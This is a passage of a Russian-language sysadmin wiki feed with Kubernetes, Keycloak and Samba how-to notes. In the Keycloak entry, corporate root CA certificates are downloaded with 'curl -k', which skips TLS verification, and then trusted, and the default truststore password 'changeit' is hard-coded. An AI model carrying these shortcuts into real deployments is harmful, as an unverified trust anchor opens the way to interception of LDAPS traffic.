&lt;p&gt;
Для того, чтобы нормально работали шары в &lt;strong&gt;Dolphin&lt;/strong&gt; нужно файлике &lt;strong&gt;/etc/samba/smb.conf&lt;/strong&gt; в секции &lt;strong&gt;[Global]&lt;/strong&gt; сконфигурировать версию &lt;strong&gt;SMB&lt;/strong&gt;, используемую клиентом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;client max protocol = SMB2
client min protocol = SMB2 &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1602-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 27 Aug 2019 11:46:53 +0000</pubDate>
        </item>
        <item>
            <title>keycloak_on_kubernetes_import_root_ca_ldaps</title>
            <link>https://wiki.autosys.tk/linux_faq/keycloak_on_kubernetes_import_root_ca_ldaps</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне нужно сконфигурировать &lt;strong&gt;keycloak&lt;/strong&gt; (версии 7.0.1), &lt;a href=&quot;https://wiki.autosys.tk/devops/deploy_keycloak_using_helm&quot; class=&quot;wikilink1&quot; title=&quot;devops:deploy_keycloak_using_helm&quot; data-wiki-id=&quot;devops:deploy_keycloak_using_helm&quot;&gt;развернутый с помощью helm&lt;/a&gt; в кластере &lt;strong&gt;kubernetes&lt;/strong&gt;, чтобы он забирал пользователей из &lt;strong&gt;Active Directory&lt;/strong&gt; по протоколу &lt;strong&gt;LDAPS&lt;/strong&gt;.  &lt;br/&gt;

Проверка подключения к контроллеру домена (&lt;strong&gt;Test Connection&lt;/strong&gt;) по протоколу &lt;strong&gt;ldaps&lt;/strong&gt; (порт 636) проходит нормально, но тест аутентификации (&lt;strong&gt;Test Authentication&lt;/strong&gt;) не проходит с ошибкой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;14:19:35,523 ERROR [org.keycloak.services] (default task-1) KC-SERVICES0055: Error when authenticating to LDAP: simple bind failed: dc.domain.local:636: javax.naming.CommunicationException: simple bind failed: dc.domain.local:636 [Root exception is javax.net.ssl.SSLHandshakeException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target]&lt;/pre&gt;

&lt;p&gt;
Проблема в том, что сертификат контроллера домена выдан корпоративным &lt;strong&gt;certification authority&lt;/strong&gt;. &lt;br/&gt;

Мануалы, которые я нашел в интернете предлагают пересобрать &lt;strong&gt;docker image&lt;/strong&gt;, поместив туда корневой сертификат. Но мне такой вариант не нравится. Я бы хотел, чтобы при старте &lt;strong&gt;pod&lt;/strong&gt;&amp;#039;а &lt;strong&gt;keycloak&lt;/strong&gt; импортировал корневой сертификат в &lt;strong&gt;keystore&lt;/strong&gt; (&lt;strong&gt;jks&lt;/strong&gt;) и использовател его. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1716&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;хорошее_решение&quot;&gt;Хорошее решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Создаем &lt;strong&gt;ConfigMap&lt;/strong&gt; с корпоративными корневыми сертификатами. Они должны быть в формате &lt;strong&gt;pem&lt;/strong&gt; и оформлены стандартными разделителями - &lt;strong&gt;—–BEGIN CERTIFICATE—–&lt;/strong&gt; и &lt;strong&gt;—–END CERTIFICATE—–&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -k https://nexus.rdleas.ru/repository/files/Root_CA_Certs/RDleas-SRV-DC02-CA.cer -o ./ca.cer 
kubectl -n keycloak create configmap ca-bundle --from-file=./ca.cer&lt;/pre&gt;

&lt;p&gt;
А &lt;strong&gt;keycloak_values.yaml&lt;/strong&gt; приводим к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;keycloak:
  replicas: 1
  image:
    tag: 8.0.2
  existingSecret: &amp;quot;keycloak-default-admin-password&amp;quot;

  extraVolumes: |
    - name: ca-bundle
      configMap:
        name: ca-bundle
  extraVolumeMounts: |
    - name: ca-bundle
      mountPath: /custom_certs/

  extraEnv: |
    - name: X509_CA_BUNDLE
      value: &amp;quot;/custom_certs/ca.cer&amp;quot;
    - name:  PROXY_ADDRESS_FORWARDING
      value: &amp;quot;true&amp;quot;
    - name: JAVA_OPTS
      value: |
        -server -Xms64m -Xmx512m -XX:MetaspaceSize=96M -XX:MaxMetaspaceSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Dkeycloak.profile.feature.upload_scripts=enabled

  ingress:
    enabled: true
    path: /
    annotations: 
      kubernetes.io/ingress.class: nginx
    hosts:
      - sso.domain.local
    tls:
      - hosts:
        - sso.domain.local
        secretName: sso-domain-local

  persistence:
    deployPostgres: false
    dbVendor: &amp;quot;postgres&amp;quot;
    existingSecret: &amp;quot;keycloak-db-password&amp;quot;
    dbName: keycloak
    dbHost: 10.10.10.10
    dbPort: 5432

test:
  enabled: false&lt;/pre&gt;

&lt;p&gt;
Некоторые пояснения.&lt;br/&gt;

Созданный &lt;strong&gt;ConfigMap&lt;/strong&gt; с корпоративными корневыми сертификатами монтируется в директорию  &lt;strong&gt;/custom_certs/&lt;/strong&gt;. &lt;br/&gt;

Переменная &lt;strong&gt;X509_CA_BUNDLE&lt;/strong&gt; указывает на путь к файлу с сертификатами и при старте контейнера используется скриптом &lt;strong&gt;/opt/jboss/tools/x509.sh&lt;/strong&gt;, который импортирует сертификаты из файла в &lt;strong&gt;keystore&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0425\u043e\u0440\u043e\u0448\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0445\u043e\u0440\u043e\u0448\u0435\u0435_\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1717-3961&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;нехорошее_решение&quot;&gt;Нехорошее решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Добавить в состав &lt;strong&gt;JAVA_OPTS&lt;/strong&gt; pod&amp;#039;а опции &lt;strong&gt;javax.net.ssl.trustStore&lt;/strong&gt; и &lt;strong&gt;javax.net.ssl.trustStorePassword&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 При старте &lt;strong&gt;pod&lt;/strong&gt;&amp;#039;а забирать сертификат и класть его в &lt;strong&gt;keystore&lt;/strong&gt;. 
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Для этого редактируем &lt;strong&gt;StatefulSet&lt;/strong&gt; &lt;strong&gt;keycloak&lt;/strong&gt;:
&lt;/p&gt;

&lt;p&gt;
В раздел &lt;strong&gt;env&lt;/strong&gt; добавляем такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;spec:
  template:
    spec:
      containers:
        env:
        - name: JAVA_OPTS
          value: -server -Xms64m -Xmx512m -XX:MetaspaceSize=96M -XX:MaxMetaspaceSize=256m
            -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman
            -Djava.awt.headless=true  -Djavax.net.ssl.trustStore=/opt/jboss/keycloak/standalone/configuration/keystores/truststore.jks  
            -Djavax.net.ssl.trustStorePassword=changeit 
            --add-exports=java.base/sun.nio.ch=ALL-UNNAMED --add-exports=jdk.unsupported/sun.misc=ALL-UNNAMED --add-exports=jdk.unsupported/sun.reflect=ALL-UNNAMED&lt;/pre&gt;

&lt;p&gt;
А &lt;strong&gt;command&lt;/strong&gt; приводим к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;spec:
  template:
    spec:
      containers:
      ...
        command:
        - /bin/bash
        - -c
        args:
        - mkdir -p /opt/jboss/keycloak/standalone/configuration/keystores/ 
          &amp;amp;&amp;amp; curl -k https://http.server.local/domain_ca.cer -o /opt/jboss/keycloak/standalone/configuration/ca.cer 
          &amp;amp;&amp;amp; keytool -import -noprompt -keystore /opt/jboss/keycloak/standalone/configuration/keystores/truststore.jks -file /opt/jboss/keycloak/standalone/configuration/ca.cer -storepass changeit -alias domain-local-CA 
          &amp;amp;&amp;amp; /scripts/keycloak.sh&lt;/pre&gt;

&lt;p&gt;
В результате - до старта сервера &lt;strong&gt;Keycloak&lt;/strong&gt; корневой сертификат забирается с http-сервера и помещается в &lt;strong&gt;ssl.trustStore&lt;/strong&gt;, параметры которого (путь и пароль) передаются в виде переменных среды &lt;strong&gt;Java&lt;/strong&gt;. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0435\u0445\u043e\u0440\u043e\u0448\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0435\u0435_\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3962-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 27 Feb 2020 06:55:23 +0000</pubDate>
        </item>
        <item>
            <title>kubernetes_change_kube-router_to_flannel</title>
            <link>https://wiki.autosys.tk/linux_faq/kubernetes_change_kube-router_to_flannel</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;замена_cni_в_кластере&quot;&gt;замена CNI в кластере&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На тестовом кластере при использовании &lt;strong&gt;kube-router&lt;/strong&gt; я наблюдаю некоторые странности. И я решил попробывать заменить &lt;strong&gt;kube-router&lt;/strong&gt; на &lt;strong&gt;flannel&lt;/strong&gt;. Все оказалось предельно просто:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl delete daemonset kube-router -n kube-system
kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml&lt;/pre&gt;

&lt;p&gt;
И как бы всё. В моем случае никаких перезагрузок или чего-то еще не понадобилось. Поды и сервисы вроде ничего ен почувствовали.
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 09 Oct 2019 07:06:46 +0000</pubDate>
        </item>
        <item>
            <title>kubernetes_delete_namespace_hung_in_terminating_state</title>
            <link>https://wiki.autosys.tk/linux_faq/kubernetes_delete_namespace_hung_in_terminating_state</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://github.com/kubernetes/kubernetes/issues/60807&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/kubernetes/kubernetes/issues/60807&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/kubernetes/kubernetes/issues/60807&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://kb.kasten.io/knowledge/how-to-debug-namespaces-that-are-stuck-terminating&quot; class=&quot;urlextern&quot; title=&quot;https://kb.kasten.io/knowledge/how-to-debug-namespaces-that-are-stuck-terminating&quot; rel=&quot;ugc nofollow&quot;&gt;https://kb.kasten.io/knowledge/how-to-debug-namespaces-that-are-stuck-terminating&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Что делать, если неймспейс при удалении завис в состоянии &lt;strong&gt;Terminating&lt;/strong&gt;? &lt;br/&gt;

&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Нужно попытаться отредактировать его и удалить &lt;strong&gt;finalizers&lt;/strong&gt; (в том числе и из спецификации). Например так: &lt;pre class=&quot;code&quot;&gt;kubectl patch ns BAD_NAMESPACE -p &amp;#039;{&amp;quot;metadata&amp;quot;:{&amp;quot;finalizers&amp;quot;:null}}&amp;#039;&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Если это не помогло (&lt;strong&gt;finalizers&lt;/strong&gt; вернулись а место после удаления), то нужно сделать так:
&lt;/p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class=&quot;code&quot;&gt;kubectl get namespace BAD_NAMESPACE -o json &amp;gt; tmp.json&lt;/pre&gt;

&lt;p&gt;
Отредактировать файлик &lt;strong&gt;tmp.json&lt;/strong&gt;, удалив из него &lt;strong&gt;finalizers&lt;/strong&gt;, а затем применить его. &lt;br/&gt;

Для этого - проксируем &lt;abbr title=&quot;Application Programming Interface&quot;&gt;API&lt;/abbr&gt; на локальный порт:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo -E kubectl proxy --port=8080&lt;/pre&gt;

&lt;p&gt;
И затем финализируем удаление неймспейса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -k -H &amp;quot;Content-Type: application/json&amp;quot; -X PUT --data-binary @tmp.json https://localhost:8080/api/v1/namespaces/BAD_NAMESPACE/finalize&lt;/pre&gt;

&lt;p&gt;
Однако, если и после этого неймспейс не удалится, то нужно посмотреть на вывод этой команды. Там могут быть сообщения вида:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;quot;status&amp;quot;: {
  &amp;quot;phase&amp;quot;: &amp;quot;Terminating&amp;quot;,
  &amp;quot;conditions&amp;quot;: [
    {
      &amp;quot;type&amp;quot;: &amp;quot;NamespaceDeletionDiscoveryFailure&amp;quot;,
      &amp;quot;status&amp;quot;: &amp;quot;True&amp;quot;,
      &amp;quot;lastTransitionTime&amp;quot;: &amp;quot;2021-10-21T19:59:35Z&amp;quot;,
      &amp;quot;reason&amp;quot;: &amp;quot;DiscoveryFailed&amp;quot;,
      &amp;quot;message&amp;quot;: &amp;quot;Discovery failed for some groups, 1 failing: unable to retrieve the complete list of server APIs: metrics.k8s.io/v1beta1: the server is currently unable to handle the request&amp;quot;
    },
    ...&lt;/pre&gt;

&lt;p&gt;
Что означает, что не работают какие-то сервисы &lt;abbr title=&quot;Application Programming Interface&quot;&gt;API&lt;/abbr&gt;. Для того, чтобы исправить - просто удаляем заклинивший сервис &lt;abbr title=&quot;Application Programming Interface&quot;&gt;API&lt;/abbr&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl delete apiservice v1beta1.metrics.k8s.io&lt;/pre&gt;

&lt;p&gt;
И дальше - повторяем curl…       &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В самом крайнем случае - можно попробывать ЖЕСТКО перезаупстить все контейнеры кубера:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;systemctl stop kubelet.service
for item in `ctr -n k8s.io tasks ls | awk &amp;#039;{print $1}&amp;#039;`; do ctr -n k8s.io tasks kill $item; done 
for item in `ctr -n k8s.io containers ls | awk &amp;#039;{print $1}&amp;#039;`; do ctr -n k8s.io containers rm $item; done
ctr -n k8s.io tasks ls
ctr -n k8s.io containers ls
systemctl start kubelet.service&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 22 Oct 2021 09:04:21 +0000</pubDate>
        </item>
        <item>
            <title>kubernetes_get_supported_api_versions</title>
            <link>https://wiki.autosys.tk/linux_faq/kubernetes_get_supported_api_versions</link>
            <description>
&lt;p&gt;
Довольно часто при развертывании приложений в kubernetes возникают ситуации, когда версия &lt;strong&gt;apiVersion: v1beta1&lt;/strong&gt;, указанная в деклации приложения не соответветствует версии &lt;strong&gt;apiVersion: v1&lt;/strong&gt;, поддерживаемой кластером. &lt;br/&gt;

Узнать версии api, поддерживаеммые кластером &lt;strong&gt;kubernetes&lt;/strong&gt; поможет простая команда:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for kind in `kubectl api-resources | tail +2 | awk &amp;#039;{ print $1 }&amp;#039;`; do kubectl explain $kind; done | grep -e &amp;quot;KIND:&amp;quot; -e &amp;quot;VERSION:&amp;quot;&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 05 Oct 2019 08:58:35 +0000</pubDate>
        </item>
        <item>
            <title>kubernetes_helm</title>
            <link>https://wiki.autosys.tk/linux_faq/kubernetes_helm</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://habr.com/company/flant/blog/420437/&quot; class=&quot;urlextern&quot; title=&quot;https://habr.com/company/flant/blog/420437/&quot; rel=&quot;ugc nofollow&quot;&gt;https://habr.com/company/flant/blog/420437/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://habr.com/ru/company/flant/blog/423239/&quot; class=&quot;urlextern&quot; title=&quot;https://habr.com/ru/company/flant/blog/423239/&quot; rel=&quot;ugc nofollow&quot;&gt;https://habr.com/ru/company/flant/blog/423239/&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 30 Sep 2019 10:31:46 +0000</pubDate>
        </item>
        <item>
            <title>kubernetes_kubelet_setting_volume_ownership_warning_flood</title>
            <link>https://wiki.autosys.tk/linux_faq/kubernetes_kubelet_setting_volume_ownership_warning_flood</link>
            <description>
&lt;p&gt;
В логах kubelet полно вот такого:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Mar 25 18:31:18 kub kubelet[899]: W0325 18:31:18.244545     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/91e33d5d-648a-4aba-bbff-e3da6ea7596f/volumes/kubernetes.
Mar 25 18:31:30 kub kubelet[899]: W0325 18:31:30.220311     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/765ffa3f-0a8a-4b65-8c37-8555c1854829/volumes/kubernetes.
Mar 25 18:31:32 kub kubelet[899]: W0325 18:31:32.232058     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/de64ae28-9f70-44b0-ae2c-7d2b0f080169/volumes/kubernetes.
Mar 25 18:31:32 kub kubelet[899]: W0325 18:31:32.232171     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/de64ae28-9f70-44b0-ae2c-7d2b0f080169/volumes/kubernetes.
Mar 25 18:31:33 kub kubelet[899]: W0325 18:31:33.237612     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/3eb10467-d9fb-473c-8892-e57dfb7191ad/volumes/kubernetes.
Mar 25 18:31:33 kub kubelet[899]: W0325 18:31:33.237666     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/3eb10467-d9fb-473c-8892-e57dfb7191ad/volumes/kubernetes.
Mar 25 18:31:42 kub kubelet[899]: W0325 18:31:42.285697     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/89392ae2-6b17-47b4-85ac-813c2781234b/volumes/kubernetes.
Mar 25 18:31:42 kub kubelet[899]: W0325 18:31:42.285795     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/89392ae2-6b17-47b4-85ac-813c2781234b/volumes/kubernetes.
Mar 25 18:31:42 kub kubelet[899]: W0325 18:31:42.285821     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/89392ae2-6b17-47b4-85ac-813c2781234b/volumes/kubernetes.
Mar 25 18:31:42 kub kubelet[899]: W0325 18:31:42.287672     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/89392ae2-6b17-47b4-85ac-813c2781234b/volumes/kubernetes.&lt;/pre&gt;

&lt;p&gt;
Подозреваю, что причина в каких-то правах. &lt;br/&gt;

Попробую сделать так: &lt;a href=&quot;https://stackoverflow.com/questions/43544370/kubernetes-how-to-set-volumemount-user-group-and-file-permissions#7&quot; class=&quot;urlextern&quot; title=&quot;https://stackoverflow.com/questions/43544370/kubernetes-how-to-set-volumemount-user-group-and-file-permissions#7&quot; rel=&quot;ugc nofollow&quot;&gt;https://stackoverflow.com/questions/43544370/kubernetes-how-to-set-volumemount-user-group-and-file-permissions#7&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;
This came as one of the challenges for the Kubernetes Deployments/StatefulSets, when you have to run process inside a container as non-root user. But, when you mount a volume to a pod, it always gets mounted with the permission of root:root.

So, the non-root user must have access to the folder where it wants to read and write data.

Please follow the below steps for the same.

    Create user group and assign group ID in Dockerfile.
    Create user with user ID and add to the group in Dockerfile.
    change ownership recursively for the folders the user process wants to read/write.

    Add the below lines in Deployment/StatefulSet in pod spec context.

    spec:
      securityContext:
        runAsUser: 1099
        runAsGroup: 1099
        fsGroup: 1099

runAsUser

Specifies that for any Containers in the Pod, all processes run with user ID 1099.

runAsGroup

Specifies the primary group ID of 1099 for all processes within any containers of the Pod.

If this field is omitted, the primary group ID of the containers will be root(0).

Any files created will also be owned by user 1099 and group 1099 when runAsGroup is specified.

fsGroup

Specifies the owner of any volume attached will be owner by group ID 1099.

Any files created under it will be having permission of nonrootgroup:nonrootgroup.&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 25 Mar 2020 18:39:24 +0000</pubDate>
        </item>
        <item>
            <title>kubernetes_using_single_node_as_master_and_worker</title>
            <link>https://wiki.autosys.tk/linux_faq/kubernetes_using_single_node_as_master_and_worker</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;single_node_kubernetes_setup_-_ubuntu_1804&quot;&gt;Single node Kubernetes setup - Ubuntu 18.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -y purge cloud-init &amp;amp;&amp;amp; sudo rm -rf /etc/cloud
sudo apt-get install -y apt-transport-https \
ca-certificates curl \
gnupg-agent \
software-properties-common
sudo apt-add-repository universe

echo &amp;#039;deb http://apt.kubernetes.io/ kubernetes-xenial main&amp;#039; | sudo tee /etc/apt/sources.list.d/kubernetes.list
######### curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add
gpg_key_url=&amp;quot;https://packages.cloud.google.com/apt/doc/apt-key.gpg&amp;quot;
gpg_keyring_path=&amp;quot;/etc/apt/trusted.gpg.d/kubernetes.gpg&amp;quot;
curl -fsSL &amp;quot;${gpg_key_url}&amp;quot; | gpg --dearmor | sudo tee -a ${gpg_keyring_path}&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;cat &amp;lt;&amp;lt;EOF | sudo tee /etc/modules-load.d/containerd.conf
overlay
br_netfilter
EOF&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo modprobe overlay
sudo modprobe br_netfilter&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;# Setup required sysctl params, these persist across reboots.
cat &amp;lt;&amp;lt;EOF | sudo tee /etc/sysctl.d/99-kubernetes-cri.conf
net.bridge.bridge-nf-call-iptables  = 1
net.ipv4.ip_forward                 = 1
net.bridge.bridge-nf-call-ip6tables = 1
EOF&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;# Apply sysctl params without reboot
sudo sysctl --system&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update
#sudo apt-get install -y docker.io kubeadm kubelet
sudo apt-get install -y containerd kubeadm kubelet

sudo mkdir -p /etc/containerd
containerd config default | sudo tee /etc/containerd/config.toml
 
cat &amp;lt;&amp;lt; EOF | sudo tee /etc/systemd/system/kubelet.service.d/12-after-docker.conf
[Unit]
After=containerd.service
EOF

sudo sed -i &amp;#039;s/SystemdCgroup = false/SystemdCgroup = true/&amp;#039; /etc/containerd/config.toml
sudo service containerd restart


# Kubernetes Cluster Init 
sudo kubeadm init --cri-socket /run/containerd/containerd.sock --pod-network-cidr=10.244.0.0/16

mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;#https://github.com/cloudnativelabs/kube-router/blob/master/docs/kubeadm.md
#kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/master/daemonset/kubeadm-kuberouter.yaml
kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

#kubectl -n kube-system patch deployment coredns --type=json -p=&amp;#039;[{&amp;quot;op&amp;quot;: &amp;quot;replace&amp;quot;, &amp;quot;path&amp;quot;: &amp;quot;/spec/replicas&amp;quot;, &amp;quot;value&amp;quot;:1}]&amp;#039;

kubectl taint nodes --all node-role.kubernetes.io/master-&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Single node Kubernetes setup - Ubuntu 18.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;single_node_kubernetes_setup_-_ubuntu_1804&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-2410&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;настройка_манифестов_компонентво_кубера_на_слабых_маишинках&quot;&gt;Настройка манифестов компонентво кубера на слабых маишинках&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я запускаю свой кластер в контейнере на сервере Proxmox,  на довольно слабой машинке, поэтому при старте компоненты кубера начинают отвечать очень нескоро. &lt;br/&gt;

Чтобы немного облегчить им жизнь и сделать поведение компонентов k8s более предсказуемым нужно увеличить таймауты &lt;strong&gt;livenessProbe&lt;/strong&gt;, &lt;strong&gt;readinessProbe&lt;/strong&gt; и &lt;strong&gt;startupProbe&lt;/strong&gt; - в результате у сервисов будет больше времени чтобы прийти в норму при запуске/перезапуске и кластер будет вести себя стабильнее, особенно если в нем много полезной нагрузки. &lt;br/&gt;

Для этого - редактируем манифесты в директории &lt;strong&gt;/etc/kubernetes/manifests/&lt;/strong&gt; и подкручиваем там значения до, например, таких: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;    livenessProbe:
      failureThreshold: 300
      initialDelaySeconds: 60
      periodSeconds: 15
      timeoutSeconds: 30
    readinessProbe:
      failureThreshold: 300
      periodSeconds: 15
      timeoutSeconds: 30
    startupProbe:
      failureThreshold: 300
      initialDelaySeconds: 60
      periodSeconds: 15
      timeoutSeconds: 30&lt;/pre&gt;

&lt;p&gt;
И перезапускаем &lt;strong&gt;kubelet&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service kubelet restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0432\u043e \u043a\u0443\u0431\u0435\u0440\u0430 \u043d\u0430 \u0441\u043b\u0430\u0431\u044b\u0445 \u043c\u0430\u0438\u0448\u0438\u043d\u043a\u0430\u0445&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u043e\u0432_\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0432\u043e_\u043a\u0443\u0431\u0435\u0440\u0430_\u043d\u0430_\u0441\u043b\u0430\u0431\u044b\u0445_\u043c\u0430\u0438\u0448\u0438\u043d\u043a\u0430\u0445&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2411-4054&amp;quot;} --&gt;
